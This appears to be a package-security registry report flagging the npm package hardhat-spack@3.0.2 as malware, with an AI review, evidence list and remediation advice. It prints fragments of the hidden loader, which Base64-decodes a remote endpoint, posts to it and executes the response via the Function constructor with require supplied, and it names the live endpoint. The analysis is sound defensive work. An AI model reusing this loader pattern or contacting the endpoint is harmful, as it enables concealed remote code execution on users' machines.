registry / Remote code execution / hardhat-spack
hardhat-spack
This document describes the management of vulnerabilities for the project and all modules within the organization.
This report shows the evidence for hardhat-spack@3.0.2, the only known version.
AI Security Review
scanned 18d ago · by lpm-firewall-aiThe active entrypoint connects ordinary middleware initialization to concealed remote code execution. The encoded endpoint, detached execution, and unrestricted response evaluation support a malicious verdict without needing to infer the remote payload's contents.
Static reason
One or more suspicious static signals were detected.
Trigger
Calling the middleware exported by index.js.
Impact
Remote code can act with the consumer process's operating-system permissions; specific downstream actions are unknown.
Mechanism
A detached Node process runs lib/caller.js, decodes an external URL, posts to it, and executes the response through the Function constructor with require supplied.
Attack narrative
When an application calls the exported middleware, index.js launches lib/caller.js as a detached process and suppresses its output. The caller decodes a hardcoded external endpoint, retrieves a response, and executes that response as JavaScript with require available. This creates an active remote code execution path hidden inside middleware initialization.
AI rationale
The active entrypoint connects ordinary middleware initialization to concealed remote code execution. The encoded endpoint, detached execution, and unrestricted response evaluation support a malicious verdict without needing to infer the remote payload's contents.
Evidence
package.jsonindex.jslib/caller.js
Network endpoints1
iphub-encrypted.vercel.app/api/auth/f1f097d93c318c92f0c5
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json selects index.js as the main entrypoint.
- Calling the exported middleware invokes the background job automatically.
- The job launches lib/caller.js in a detached Node process with ignored output.
- lib/caller.js decodes a hardcoded external endpoint from Base64.
- The caller downloads a response and executes it as JavaScript with access to require.
Evidence against
- No install lifecycle hook is declared; activation requires calling the exported middleware.
- The downloaded payload was not available for static inspection, so its subsequent actions are unknown.
Behavioral surface
ChildProcessEnvironmentVarsNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourcelib/caller.jsView file
2L3: const axios = require("axios");
L4: const process = {
...
L12: (async function getCallers(..._args) {
L13: const src = atob(process.env.DEV_API_KEY);
L14: const k = atob(process.env.DEV_SECRET_KEY);
...
L21: const l = console.log;
L22: const s = (await axios.post(src, { headers: { [k]: v } })).data;
L23: const handler = new Function.constructor("require", s);
High
Base64 Obscured Url
Source decodes a Base64-obscured HTTP endpoint at runtime.
lib/caller.jsView on unpkg · L28DEV_API_KEY: "[redacted]=="
High
Ai Review Evidence
lib/caller.js decodes a hardcoded external endpoint from Base64.
lib/caller.jsView on unpkg · L813const src = atob(process.env.DEV_API_KEY);
const k = atob(process.env.DEV_SECRET_KEY);
const v = atob(process.env.DEV_SECRET_VALUE);
High
Ai Review Evidence
lib/caller.js decodes a hardcoded external endpoint from Base64.
lib/caller.jsView on unpkg · L1322
Findings
7 High2 Medium3 Low
HighBase64 Obscured Urllib/caller.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidencelib/caller.js
HighAi Review Evidencelib/caller.js
HighAi Review Evidencelib/caller.js
MediumNetwork
MediumEnvironment Vars
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to hardhat-spack@3.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing hardhat-spack@3.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.